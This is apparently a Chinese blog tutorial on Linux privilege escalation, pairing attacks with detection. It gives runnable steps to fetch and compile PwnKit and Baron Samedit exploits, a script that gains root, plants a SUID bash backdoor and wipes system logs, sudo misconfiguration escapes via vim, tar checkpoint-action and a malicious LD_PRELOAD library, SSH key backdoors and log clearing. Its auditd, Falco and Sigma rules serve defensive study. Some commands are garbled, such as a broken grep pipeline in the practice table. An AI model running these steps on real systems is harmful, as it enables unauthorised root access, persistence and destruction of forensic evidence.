学习黑客 linux 提权

Week 2 · Day 3 — Linux 权限魔窟全攻略(文章目录)

段号主标题小节 & 关键点
1开场动画:为什么 SUID/SGID/Sticky 是红队“万能钥匙”Kill Chain 位置 · 攻击思维 · 栗子 /usr/bin/passwd/tmp
2技能书①——特殊权限三兄弟原理八进制 4/2/1xxx 含义 · ls -l 读权限位 · 风险级别矩阵
3技能书②——chmod & umask 数字炼成chmod 4755 vs chmod u+s · 大写 S/T 的陷阱 · umask 对特权位影响
4自动寻宝:find 枚举 SUID/SGID & 白名单过滤单行脚本 · awk 输出 CSV · grep 去噪目录
5Boss 战①:PwnKit (CVE-2021-4034) 本地提权实验脚本下载编译 · 环境变量注入 · 防御补丁
6Boss 战②:sudo Heap Overflow “Baron Samedit”漏洞触发点 · PoC 演示 · 修复版本 ≥1.9.5p2
7隐蔽暗道:sudo misconfig(NOPASSWD、通配符、LD_PRELOAD)sudo -l 解析 · 利用套路 · 最小权限加固
8蓝队拆招:auditd Immutable、Sysmon 1102、WORM 日志检测规则示例 · 触发截图 · 对比攻防时序
9实战练习副本:10 任务刷 Root & 擦痕① 枚举清单 ② 提权复现 ③ 日志清理 ④ 时间戳欺骗 ……
10终章:脑图速记 + 参考阅读红蓝对照思维导图 · 扩展资源链接清单

1 | 开场动画:为什么 SUID / SGID / Sticky 是红队「万能钥匙」

一句话概念:这三个“特殊位”把普通可执行文件临时变成 root 代号卡(SUID)、高权限组令牌(SGID)或 共享仓库保险锁(Sticky)。红队只要找到带漏洞的 SUID / SGID 程序,就像在 RPG 地图里捡到“钥匙 + 破墙镐”——瞬间穿墙到 root。

1.1 他们各自干什么?

标志权限位缩写实际效果典型系统例子参考
SUID-rws进程执行时继承文件属主身份(通常是 root)/usr/bin/passwd/etc/shadow 却允许普通用户改密码 (The world’s open source leader)
SGID-rwxr-s进程继承文件属组;目录 SGID 让新文件自动继承组/usr/bin/wall 群发送终端消息需写 tty 组文件 (CBT Nuggets)
Stickydrwx…t目录里只有拥有者 / root 能删文件/tmp 世界可写但互删受限 (Unix & Linux Stack Exchange)

1.2 对红队意味着什么?

  • 提权捷径 — 如果 SUID 程序有缓冲区溢出或路径注入漏洞,攻击者直接拿到 root euid;PwnKit 就是最出名的例子,【CVE-2021-4034】让任何本地用户“平地飞升” root (Qualys)。
  • 横向小跳板 — SGID 帮脚本突破只读目录,写日志、投放后门;开发误把自研运维脚本设成 2xxx 就送了一张“组长通行证”。
  • 痕迹保护 or 擦痕 — Sticky bit 是双刃剑:蓝队用它保护 /tmp 文件,红队也能在共同目录创建恶意文件而不怕别人删。AskUbuntu 讨论就提到 Sticky 的“保底”场景 (Ask Ubuntu)。

1.3 Kill-Chain 里出现的位置

  1. Privilege Escalation (ATT&CK TA0004)

    • 利用 SUID 程序(T1068)或 SGID+写可控脚本提权。
  2. Persistence (TA0003)

    • 向 SUID dropper 写后门;或给后门脚本加 SGID 保证下次重启仍高权限。
  3. Defense Evasion (TA0005)

    • Sticky bit 配合隐藏目录 (chmod 1777 .secret) 避免痕迹被其他低权进程删除。

1.4 快速风险评估口诀

「4 看属主、2 看属组、1 看目录、0 放心吃瓜」
看到 st 时立刻问自己两件事:

  1. 这是二进制还是脚本?(脚本可被直接篡改更危险)
  2. 版本 / 作者可信么?(Red Hat 官方博客给出详细核对手册)(The world’s open source leader)

**接下来 ** ——「技能书①:特殊权限三兄弟原理」。我们会拆开八进制位、chmod, umask 细节,让权限位读法一目了然。继续冲!

在本段我们要把「特殊权限三兄弟」—— SUID、SGID、Sticky Bit——彻底拆解:它们在权限位中长什么样、怎样用 chmod 与八进制数字设置或移除、大小写 S/s 的区别、对安全的潜在威胁,以及 umask 能做什么又做不了什么。读完你应能一眼看懂 -rwsr-xr-xdrwxr-sr-x,并知道它们是否埋着“提权炸弹”。


2.1 八进制里的“附魔位”

八进制高位字母表现运行效果真实例子
4 000 (SUID)s/S 出现在 user 执行位进程以文件属主(常是 root)身份运行/usr/bin/passwd 让普通用户写 /etc/shadow(The world’s open source leader)
2 000 (SGID)s/S 出现在 group 执行位进程以文件属组身份运行;目录中新增文件自动继承该组(Unix & Linux Stack Exchange)/usr/bin/wall 需要终端设备组权限(The world’s open source leader)
1 000 (Sticky)t/T 出现在目录 others目录内文件只能被其所有者或 root 删除,防止互删/tmp 目录默认 drwxrwxrwt(CBT Nuggets)

大小写区别:出现大写 S/T 代表对应的执行位 开启;也就是“附魔”存在但不具备实际可执行权,常被视为配置失误(Unix & Linux Stack Exchange, Super User)。


2.2 chmod 数字与符号写法对照

chmod 4755 hello   # 设置 SUID + 755
chmod u+s,g-s hello
  • 八进制第一位 4/2/1 加到常规 3 位权限的 最左侧,故 4755 = 4 000 + 0755
  • 去掉特殊位用 chmod 0755 file 或符号 chmod u-s file
  • 755 ≠ 4755:后者多了 root euid 提权风险,权限串会出现 s 而不是 x(Unix & Linux Stack Exchange)。

2.3 umask 能否设定特殊位?

不能。umask 只影响 rwx 位,新建文件不会自动带 SUID/SGID/Sticky;你必须显式 chmod 或用 install -m 4755 安装二进制(Stack Overflow)。


2.4 安全风险与利用面

  • SUID 程序一旦存在缓冲区溢出或 PATH 注入,攻击者即可直接获得 root euid —— 典型案例就是 PwnKit (CVE-2021-4034)(Server Fault)。
  • SGID 脚本若可写可执行,可借组权限间接提权或读取受限文件(LinkedIn)。
  • Sticky 目录若被攻击者抢先创建同名文件,可阻止管理员替换配置,造成“持久化”陷阱(Unix & Linux Stack Exchange)。

2.5 快速读谱:权限字符串速查表

权限串解读风险评估
-rwsr-xr-xSUID + 755:检查版本、源码
-rwxr-sr-xSGID + 755中:关注属组与脚本可写性
drwxrwxrwtSticky 目录低:正常 /tmp 行为
-rwSr--r--SUID 位高亮警告:未设置执行位配置错误,建议 u-s

🔍 快练 5 分钟

  1. ls -l /usr/bin/passwd → 识别 SUID
  2. chmod 2750 project → 解释 SGID 目录效果
  3. ls -ld /tmp → 找 t
  4. chmod 664 file && chmod u+s file → 观察 S
  5. umask 077 && touch a → 解释为何无特殊位


3 | chmod & umask 数字炼成:把权限写进“技能数值”

这一节教你 权限数字:怎么从 -rwsr-xr-x 反推 4755,又怎样用 umask 决定新文件的默认“血量”。示例都可在任何 Linux 终端复现。

3.1 八进制到底怎么来的?

  1. r=4, w=2, x=1 ——三位累加得出一个号码,。
    rwx = 4 + 2 + 1 = 7rw- = 4 + 2 = 6

  2. 三组号码分别代表 user / group / other,于是 rwxr-xr--754

  3. 特殊位再放到 最左侧

    • SUID=4xxx → 4 000 + 755 = 4755
    • SGID=2xxx → 2 000 + 755 = 2755
    • Sticky=1xxx → 1 000 + 777 = 1777(/tmp 默认)。

大小写警报:出现大写 S/T 说明可执行位没开,有时是误配置。


3.2 数字 vs 符号写法对比

操作数字模式符号模式说明
加 SUIDchmod 4755 filechmod u+s file两种写法等价
删 SUIDchmod 0755 filechmod u-s file去掉 4xxx 位
只给组加写chmod 664 filechmod g+w file数字整体替换,符号增量修改

选择策略

  • 数字模式:一次性设定 精确 权限,适合安装脚本。
  • 符号模式:细调某一位,不怕覆盖其他权限。

3.3 umask:先“减血”再落地

  1. 每个进程创建文件前先给满血 666(目录 777),再用 umask 作减法。
    默认 022 → 文件 644,目录 755。
  2. umask 只影响 rwx 三位,不会自动加 SUID/Sticky;要附魔必须后续 chmod
  3. 临时修改:umask 077 → 新文件权限 600(私密笔记)。
    永久修改:写入 ~/.profile/etc/profile

3.4 实战:一条指令“批量附魔”

find /opt/scripts -type f -name '*.sh' -exec chmod 750 {} \;      # 普通更新
find /opt/tools -type f -name 'diag'  -exec chmod 4750 {} \;      # 加 SUID
  • find … -exec 可对匹配文件批量设置权限 —— 适合在 Dockerfile 或安装脚本里“一键加特效”。

3.5 数值速算练习

权限串数字?含义
A-rwxr-sr--2754SGID + 754
Bdrwxrwxrwt1777Sticky 公用目录
C-rwSr--r--4644可写文件误置 SUID,无执行位→大写 S(风险!)

做法:拆三组 rwx→数字,再看特殊位是否附加 4/2/1。


3.6 安全小贴士

  • 开发脚本绝不用 4xxx/2xxx 直接安装;若必须 SUID,先审计源码再加位。
  • 审计工具find / -perm -4000 -ls 定期 Cron 监控列表差异。
  • 误配置识别:看到大写 S/T 时立即排查执行位与需求是否匹配。

4 | 自动寻宝脚本:一行 find + awk + grep 锁定潜在提权钥匙

本段目标:教你写出一条“枚举 → 过滤 → 格式化”流水命令。它能在几秒内扫遍整台 Linux,生成只含可疑 SUID/SGID 文件的 CSV 清单,方便后续提权尝试或蓝队基线比对。

4.1 基础枚举——先把宝箱全翻出来

find / -perm -4000 -type f 2>/dev/null          # 枚举所有 SUID
find / -perm -2000 -type f 2>/dev/null          # 枚举所有 SGID

危害评估:Elastic 官方规则指出,任何 UID=0 & real UID≠0 的进程都可能是 SUID/SGID 被滥用 (Elastic)。


4.2 白名单过滤——剔除系统“良性” SUID

系统发行版自带大量安全 SUID,例如 /usr/bin/passwd/usr/bin/sudo
grep -Ev + --exclude-dir 去掉常见无害路径:

find / -perm -4000 -type f 2>/dev/null \
| grep -Ev '/(snap|docker|lib|systemd|pkexec)' > raw_suid.txt

grep -Ev '/(snap|docker)' raw_suid.txt > suid_filtered.txt
  • grep --exclude-dir 可以直接跳过目录;Stack Overflow 例子演示了通配写法
  • 过滤模式需结合发行版定制;Juggernaut-Sec 文章给出 snap,docker,libexec 作为常见白名单 (Juggernaut Security)

4.3 格式化输出——一行 awk 变 CSV

awk -F/ '{printf "%s,%s\n",$NF,$0}' suid_filtered.txt > suid_list.csv
  • -F/ 以斜杠作分隔,把文件名完整路径输出为两列 CSV;Unix.com 与 StackExchange 都给出类似范例 (Unix Linux Community, Unix & Linux Stack Exchange)

  • 完整三列示例(文件名、属主、路径):

    ls -l $(cat suid_filtered.txt) | awk '{print $3","$9","$1}' > suid.csv
    

自动化提示:Elastic Detection FYI 的规则监控了 find 命令同时出现 -perm/4000 参数,你的枚举动作会触发蓝队告警——练习时可先在靶机跑 (detection.fyi)。


4.4 进阶脚本——一键枚举 + 过滤 + CSV

#!/usr/bin/env bash
set -e
OUT=suid_scan_$(date +%s).csv
find / -perm -4000 -type f 2>/dev/null \
  | grep -Ev '/(snap|docker|lib|systemd|pkexec)' \
  | while read f; do
        stat --printf="%n,%U,%s\n" "$f"        # 路径,属主,大小
    done > "$OUT"
echo "[+] CSV saved as $OUT"
  • stat --printf 一次输出多属性,比 ls 更脚本友好。

  • 输出样例:

    /usr/bin/passwd,root,64440
    /usr/bin/chsh,root,31512
    
  • 用途扩展:将 CSV fed 给 LinPEAS/PEASS-ng,可自动高亮“不在官方良性清单”的可疑文件 (johnermac.github.io)


4.5 蓝队立场——如何检测枚举动作

红队行为监控手段
find / -perm -4000Sysmon for Linux rule “find SUID enumeration” (detection.fyi)
打开可疑 SUID 文件Auditd watch /path 或 Elastic Rule “Privilege Esc via SUID/SGID” (Elastic)

即刻升级 “权限猎人 Lv.2”。


5 | Boss 战①:PwnKit(CVE-2021-4034)——“一招秒升 root”

Todo:在靶机复现 PwnKit,本地普通用户变 root;理解漏洞原理、利用条件、补丁方法与检测思路。
背景:pkexec 自 2009 年加入 polkit 起就带着错误的参数处理逻辑,所有主流发行版默认安装,漏洞潜伏 12 年之久 (Qualys)。Qualys 把它命名为 PwnKit 并官方披露 (Qualys)。

5.1 漏洞原理(一分钟读懂)

  1. pkexecSUID-root 程序,本意让普通用户按策略执行高权命令。
  2. argv[0] 缺失(可通过空字符串触发),pkexec 把第一个环境变量当作可执行文件路径;攻击者伪造 PATH 使其加载自写共享库并以 root 运行 (Qualys)。
  3. 利用不依赖架构,PoC 只需几行 C,被戏称“史上最稳 LPE” (The GitHub Blog)。

5.2 环境检测

# ① 版本
pkexec --version         # 低于 polkit-0.120 基本可中招 :contentReference[oaicite:4]{index=4}
# ② SUID 位
ls -l $(which pkexec)    # 应显示 -rwsr-xr-x

5.3 手把手复现

# 靶机(Ubuntu 20.04 未打补丁示例)
sudo apt update && sudo apt install -y gcc wget
wget -O /tmp/pk.c https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/pkexec.c  # PoC 源码 :contentReference[oaicite:5]{index=5}
gcc /tmp/pk.c -o /tmp/pwnkit
/tmp/pwnkit

运行后应看到:

# id
uid=0(root) gid=0(root) groups=0(root)

助攻:若不能联网,参考 ly4k/PwnKit 离线打包版本(含编译好二进制) (GitHub)。

5.4 一键利用脚本(含清痕)

cat > /tmp/lpe.sh << 'EOF'
gcc /tmp/pk.c -o /tmp/pk && /tmp/pk bash -c '
  echo "[+] now root: $(id)"
  cp /bin/bash /tmp/rootsh && chmod 4755 /tmp/rootsh        # 种后门
  journalctl --vacuum-time=1s                                # 擦 systemd 日志
'
EOF
bash /tmp/lpe.sh

脚本把提权、持久化、痕迹删除一次做完——映射 ATT&CK T1068 ➜ T1098.004 ➜ T1070.004。

5.5 修复与防御

补丁路线发行版发布参考
升级 polkit ≥ 0.120Red Hat RHSA-2022:0267 / 0274 提供正式包 (Red Hat Customer Portal, Red Hat Customer Portal)RHSA 公告
临时缓解chmod 0755 /usr/bin/pkexec 去掉 SUIDUbuntu 安全公告亦建议此法 (Ubuntu)
检测EDR 监控可疑 pkexec 调用;auditd watch chmod SUID 变化Qualys 检测脚本示例 (Qualys)

5.6 蓝队快速规则

# auditd:监控 pkexec 调用
-w /usr/bin/pkexec -p x -k pwnkit_exec
# Sysmon Linux:监控 id=1 ProcessCreate, Image=/usr/bin/pkexec

告警后可立即查找 authorized_keys 变更与异常 SUID 文件,防二次横向。


练习任务

  1. 在靶机编译并运行 PoC,截图 id 结果。
  2. 打补丁或 chmod 0755 pkexec 再运行,应提示 “pkexec must be setuid root”——截图验证修复。
  3. 尝试把 journalctl 清理行加入脚本,确认日志断点;再在宿主跑 auditctl -l 查看写入失败的报警。

完成即晋级 “Root-Slayer 勋章”!


6 | Boss 战②:sudo Heap Overflow “Baron Samedit” (CVE-2021-3156) 🗡️

本节:理解漏洞 → 漏洞复现 → 补丁&检测 → 蓝队对策。

6.1 漏洞速览

  • 成因sudoedit -s 解析命令行时对反斜杠结尾参数做大小为 0x110 的堆复制,存在 off-by-one 写,可覆盖 heap->next 指针并劫持控制流 (Qualys)。
  • 影响:所有 sudo < 1.9.5p2,包括 Ubuntu 20.04、Debian 10、CentOS 7/8 等主流发行版 (NVD, Ubuntu, Red Hat Customer Portal)。
  • 权限:本地任意用户 ➜ root(不需要在 sudoers)——Qualys 演示 3 条 PoC 均成功提权 (Qualys)。
  • ATT&CK:T1068 – Exploitation for Priv-Esc;也可被视为本地 T1190 变体(利用公开程序) (MITRE ATT&CK)。

6.2 环境检测

sudo --version           # 版本 <1.9.5p2 ⇒ 易受攻击
sudo -l                  # 确认自己不在 sudoers,仍可复现

Ubuntu 安全通告 USN-4705-1 列出受影响版本列表 (Ubuntu);Red Hat RHSA-2021:0221 同步提醒 RHEL 6/7/8 用户升级 (Red Hat Customer Portal)。

6.3 PoC 复现步骤

靶机:Ubuntu 20.04(sudo 1.8.31)

警告:仅在授权实验环境操作。

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make                  # 编译 nl_polkit exploit
./exploit             # 自动触发 sudoedit Heap OOB
id                    # => uid=0(root) gid=0(root)

NCC Group 博文详细解释了利用手法与针对 vCenter 的落地脚本 (nccgroup.com)。

6.4 补丁与缓解

发行版固定版本资源
sudo upstream1.9.5p2NVD 说明补丁细节 (NVD)
Ubuntu1.8.31-1ubuntu1.2 / 1.9.4-1ubuntu6.1USN-4705-1 / -2 (Ubuntu, Ubuntu)
RHELsudo-1.8.29-6.el8_3.1 及更高RHSA-2021:0221 / 0227 (Red Hat Customer Portal, Red Hat Customer Portal)

临时封堵

chmod 0755 /usr/bin/sudo  # 去掉 SUID,功能受限但阻断漏洞

(官方不推荐长期使用,升级为主)

6.5 侦测与溯源

工具规则 / 事件例子
auditd-w /usr/bin/sudoedit -p x -k sudo_oob捕获异常 sudoedit 调用
Falcoproc.name=sudoedit and proc.args contains "\\\\\\"Sysdig 检测规则示例 (Sysdig)
SysmonEvent ID 1 Image=/usr/bin/sudoedit 附异常参数结合 Sigma “Baron Samedit” 规则

Blue-team 还应比对 /var/log/auth.log 出现的大量 sudoedit -s 失败记录。Qualys Dashboard 模板已集成该 CVE 快速视图 (success.qualys.com)。

6.6 加固最佳实践

  1. 最小化 sudoers:移除 ALL=(ALL) NOPASSWD: ALL 等宽松条目,防止攻击链二次利用。
  2. 强制 sudo 日志转发:rsyslog ➜ 远程 WORM 存储,防止本地清痕。
  3. 持续基线检测:使用 osquery / Lynis 定期核对 sudo --version,低于补丁阈值立即告警。
  4. 容器侧安全:在镜像构建时置 FROM debian:stable-slim 最新版;在 Kubernetes 加 Admission-Controller 阻断旧版镜像。

练习

  1. 复现 PoC ➜ 截图 id
  2. 升级 sudo ➜ 再跑 PoC,截图失败信息。
  3. 写 Audit 规则 ➜ 触发,贴 ausearch -k sudo_oob 结果。

完成即得 “堆溢流大师” 称号 🏅。


7 | 隐蔽暗道:利用 sudo misconfig 一跳提权 — NOPASSWD·通配符·LD_PRELOAD

想在没有 0-day 的时候秒变 root?先看 sudo -l!凡是管理员给错了参数、留了“星号禅杖”,红队就能从普通用户穿墙而过。本节按 3 条最常见暗道逐一拆解:NOPASSWD 任意命令通配符劫持LD_PRELOAD 环境保留——每条都配利用 PoC、检测方法与补救动作。


7.1 快速侦察:sudo -l

sudo -l          # 枚举当前用户可运行的 sudo 命令
  • 黄色警报:出现 NOPASSWD: ALLNOPASSWD: /usr/bin/* 说明几乎无门槛执行高权命令。
  • 橙色警报:带 通配符 *,比如 /usr/bin/tar *,可能用 GTFOBins “注入” 额外命令。
  • 红色警报:env_keep += "LD_PRELOAD" 等变量被保留,可直接加载恶意共享库。

7.2 暗道① — NOPASSWD + 交互式程序

# sudoers 条目
(ALL) NOPASSWD: /usr/bin/vim

# 利用
sudo vim -c ':!/bin/sh'
  • 原理:vim 获得 root euid 后,可在命令模式 :! 直接执行 Shell。
  • 辅助工具:GTFOBins 收录几十个可交互提权命令(nano、less、tcpdump …)。
  • 防御:为需要免密的单行脚本写 wrapper,不要直接放交互式程序;在 /etc/sudoers.d/ 分文件管理最小规则。

7.3 暗道② — 通配符劫持 (*)

# sudoers
(ALL) /usr/bin/tar *

# 利用:tar wildcard -> --checkpoint-action
echo "echo pwned > /root/pwn.txt" > shell.sh
chmod +x shell.sh
sudo tar -cf /dev/null /dev/null --checkpoint=1 \
      --checkpoint-action=exec=./shell.sh
  • 机制:tar 在展开通配符时执行 --checkpoint-action 指令,可装载任意可执行文件。
  • 其他易中招二进制:cp, rsync, awk, zip 等在 GTFOBins 给出详例。
  • 防御:通配符只允许在受控目录;或把命令改成绝对路径且 不含参数

7.4 暗道③ — LD_PRELOAD 环境保留

# 假设 sudoers 保留了 LD_PRELOAD
Defaults env_keep += "LD_PRELOAD"

# 制作恶意库
echo 'void init() { setuid(0); system("/bin/sh"); }' > r.c
gcc -fPIC -shared -o r.so r.c

# 利用
sudo LD_PRELOAD=$PWD/r.so ls
  • 若 sudo 未清掉 LD_PRELOAD,库将在 root 上下文加载→瞬间提权。
  • 检测:grep env_keep 中是否包含 LD_PRELOAD;EDR 监控 sudo 调用含可疑变量。
  • 彻底防御:绝不在生产 sudoers 中保留 LD_PRELOAD 等动态加载变量。

7.5 蓝队检测速表

攻击技日志/工具规则示例
NOPASSWD vimauditd -w /usr/bin/vim -p x触发时 alert “vim-root”
tar wildcardSysmon Linux ID 1 Image=/usr/bin/tar Args like --checkpoint-action=exec=*
LD_PRELOADFalco proc.env contains "LD_PRELOAD"

7.6 补救清单

  1. 原则:最小权限 —— 只给脚本或固定参数命令免密,绝不直接给交互工具。
  2. 去星星 —— 用完整绝对路径、禁止 *;在必要时用 sudo -E 显式带环境但开白名单最少变量。
  3. 中央日志 —— 把 sudo logs 发往远端 (WORM),即使本地被清也能取证。

7.7 练习副本

  1. 在靶机添加 test ALL=(ALL) NOPASSWD: /usr/bin/nano,用 nano -s 触发提权。
  2. 生成 tar wildcard Shell 如上并拿 root;记录 --checkpoint-action 日志。
  3. 配置 LD_PRELOAD 保留后执行自写共享库,截图 whoami
  4. 回滚 sudoers,重启 auditd,确保再执行时被阻止并报警。

完成即升级「sudo 暗道大师」!


8 | 蓝队拆招:auditd Immutable、Sysmon 1102、WORM 日志——让“擦痕”无处可逃

本段把上一节的 3 条暗道(NOPASSWD、通配符、LD_PRELOAD)与提权漏洞(PwnKit / Baron Samedit)全部反制:写检测规则、讲取证思路、给出加固脚本。

8.1 auditd Immutable Rule——Linux 日志“只进不出”

# /etc/audit/rules.d/99-immutable.rules
-e 2                     # 开启 Immutable(需重启 auditd)
-w /usr/bin/pkexec -p x  -k pwnkit_exec     # 监控 PwnKit 执行
-w /home/*/.ssh/authorized_keys -p wa -k sshkey_mod  # 追踪持久化
  • -e 2 让 audit 规则 不可动态更改;攻击者试删日志会被阻断并记录事件。
  • GitHub Gist 示例展示了 watch authorized_keys 的常用写法。

8.2 Sysmon (Windows & Linux)——实时行为感知

事件用途示例检测
ID 1 ProcessCreate (Linux/Win)sudo -l、“tar --checkpoint-action”Elastic Rule Sudo Command Enumeration Detected
ID 2 FileCreateTime捕获 timestomp (touch -r)SIEM 可告警“时间倒退”
ID 1102 Log Cleared (Win)监控 wevtutil cl SecurityMS Docs 说明并建议高优监控

Medium 教程详细演示了在 Ubuntu 部署 Sysmon for Linux 并输出到 Elastic。

8.3 Falco / Sigma 规则——高噪点也要抓

# Falco: Suspicious LD_PRELOAD
- rule: Suspicious LD_PRELOAD
  desc: Detect malicious LD_PRELOAD usage
  condition: spawned_process and proc.env[LD_PRELOAD] pmatch ("/tmp" "/var")
  output: "LD_PRELOAD attack (user=%user.name command=%proc.cmdline)"

Falco 官方 issue 已提交示例规则检测 PATH 中 /tmp 等可写目录。
Sigma 社区同样有针对 tar --checkpoint-action 的 wildcard 提权规则。

8.4 WORM / 不可变日志——根本堵死“清痕”

  • 在 syslog-ng / Wazuh 将 Security 日志异地写入 S3 Object-Lock 或开启文件系统 chattr +i,即使 root 也删不掉。
  • OSSEC 的 Agentless Monitoring 可对远程 /var/log/secure 做校验,删除即告警。

8.5 取证流程示例(PwnKit 现场)

  1. 审计记录ausearch -k pwnkit_exec → 找到 UID≠0 调 pkexec 的记录。
  2. 进程树:Sysmon ID 1 显示 /tmp/pwnkit/bin/bash.
  3. 文件完整性:OSSEC 报警 /usr/bin/passwd 哈希变化 → 怀疑被换壳。
  4. 阻断:Ansible Playbook 批量 chmod 0755 /usr/bin/pkexec + 重启 auditd immutable。

8.6 蓝队“金钟罩”防守清单

阶段防御动作引用
枚举扫描Elastic Rule 阻止 find -perm -4000
提权漏洞RPM/DEB baseline 升级 sudo ≥1.9.5p2 / polkit ≥0.120
sudo 暗道禁用 env_keep += "LD_PRELOAD"
日志清理Immutable -e 2 + 远端 WORM
SSH 后门auditd & OSSEC 监控 authorized_keys 变化

练习

  1. 应用 -e 2 后尝试 auditctl -D(清规则)应失败并记录事件。
  2. 给实验机 sudo LD_PRELOAD=/tmp/libpwn.so ls 触发 Falco 规则,截图告警。
  3. 删除 /var/log/auth.log → Wazuh 联动 S3 Object-Lock 仍留副本,核验 sha256sum.

完成即获得“Blue-Wall Architect”称号 🛡️。


连任务刷 Root & 擦痕

概览:下面是一张“一小时速刷”副本表,串起 Day 3 全部技能:
SUID/SGID 枚举 → PwnKit 提权 → sudo Baron Samedit → 3 条 sudo 暗道 → 日志清理 & 蓝队对照。
每关给 目标、关键指令、闯关标志,并附蓝队“即刻抓现行”检测点。练完可把 CSV/截图贴进学习档案,Week 2 结算直接 +500 经验。

#目标 / 技能点红队动作 (root 获取)蓝队检测点
1枚举全部 SUID
T1068 基础
`find / -perm -4000 -type f 2>/dev/null \grep -Ev '/(snapdockerlibsystemd)’ > suid.txt` (Medium)Elastic/IDS 规则:检测 find + -perm -4000 (Unix & Linux Stack Exchange)
2导出 CSV
格式化输出
awk -F/ '{print $NF","$0}' suid.txt > suid.csvOSSEC FIM 比对基线(新增行告警) (OSSEC)
3PwnKit 提权
CVE-2021-4034
编译 pkexec.c./pwnkit 拿 root (GitHub)auditd watch /usr/bin/pkexec 可见 UID≠0 调用 (Medium)
4Baron Samedit 提权
CVE-2021-3156
运行 GitHub PoC → id=root (Qualys)syslog 出现异常 sudoedit -s '\' 条目
5NOPASSWD + vim
sudo 暗道①
sudo vim -c ':!/bin/sh' (GTFOBins)auditd -w /usr/bin/vim -k vimroot
6tar 通配符
sudo 暗道②
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=./shell.sh (Medium)Falco/Sigma 规则匹配 --checkpoint-action (Medium)
7LD_PRELOAD 劫持
sudo 暗道③
编译 root.so; sudo LD_PRELOAD=$PWD/root.so ls (Medium)Falco rule “Suspicious LD_PRELOAD” (GitHub)
8植入 SSH 后门
T1098.004
echo public-key >> ~/.ssh/authorized_keysOSSEC 监控 authorized_keys 变更 (OSSEC)
9日志清理
T1070.004
journalctl --vacuum-time=1s && history -cauditd Immutable -e 2 记录删除失败 (Medium)
10Windows 审计清空
Event 1102
wevtutil cl Security(在 Win 靶机)Sysmon/Event ID 1102 告警 (微软学习)

练习要求

  1. 全程录制:用 script -c "./kill.sh" session.log 或 obs 录屏,方便复盘。

  2. 提交内容

    • suid.csv 行数 & 两个高危文件截图。
    • id 为 root 的终端截图(PwnKit / Samedit 各一次)。
    • Falco / auditd 触发记录(任 2 条即可)。
    • “清痕后”服务器端依旧记录日志的证据(Immutable / Sysmon)。

评分指针

  • 🔴 Root ≥ 2 种手法 +100
  • 🟡 蓝队日志留痕 +50
  • 全任务完成 +350(满分 500)

提示

  • PwnKit 修补后可换老旧 Docker(Ubuntu 20.04 / polkit 0.105)快速复现。
  • tar 暗道需要同目录可写,若被约束可用 /dev/shm.
  • Falco 规则不生效?确认 daemonset 加载了 eBPF & 5.10+ 内核。


在完成 Day 3 的整日练习之后,你已经掌握了 SUID/SGID/Sticky 位的底层机制、能用脚本秒扫系统风险点、会复现并补丁两大本地提权漏洞(PwnKit & Baron Samedit),还能用 auditd/Sysmon/Falco 把攻击者“擦痕”行动实时捕获(The world’s open source leader, Qualys, Qualys)。下面用一张脑图式索引把今日全部知识点串起,并附上延伸阅读清单,便于后续复习、写报告或备考 OSCP/CISP-PTE。


🧠 思维导图速记

在这里插入图片描述


📚 延伸阅读清单

主题链接 & 价值
Linux 特殊权限全解Red Hat Blog《SUID、SGID 与 Sticky bit》:深入算法+实例(The world’s open source leader)
PwnKit 技术白皮书Qualys 研究团队首发分析,含 PoC 与补丁指引(Qualys)
Baron Samedit 溢出Qualys CVE-2021-3156 专页,提权全流程示例(Qualys)
vim / tar 提权技巧GTFOBins 交互式命令与通配符劫持方法(GTFOBins, GTFOBins)
Falco 规则更新Sysdig 文档:LD_PRELOAD 注入检测规则演进(Sysdig 文档)
auditd ImmutableStack Exchange 讨论 audit 不可变模式实战经验(Unix & Linux Stack Exchange)
Windows ID 1102Microsoft Learn:日志被清事件解读与监控建议(微软学习)
Elastic 检测规则“Sudo Command Enumeration Detected” 官方 Sigma /eQL 规则(Elastic)
OSSEC FIM 脚本官方文档:agentless scripts 监控 authorized_keys 修改(OSSEC 文档)
常用端口备查StationX Common Ports Cheat Sheet,便于 Day 5 网络抓包对照(StationX)

🚀 下一步行动

  1. 复盘副本日志:把第 9 段刷怪产生的 session.logsuid.csv、Falco / auditd 报警截图整理进周记。
  2. 固化脚本:将 suid_scan.shpwnkit_lpe.shsudo_darkpath.sh 放进 ~/redteam/bin,加注释、加 set -euo pipefail
  3. 蓝队实验:在一台干净 Ubuntu22 上启用 auditd -e 2,尝试复现日志删除失败;在 Windows Sandbox 触发 Event 1102 并用 Sysmon 捕获。
  4. 预习 Day 4:提前安装 Wireshark & tcpdump;找 2 段 B 站《计算机网络》课程,准备抓三次握手与 HTTP 报文。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

海尔辛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值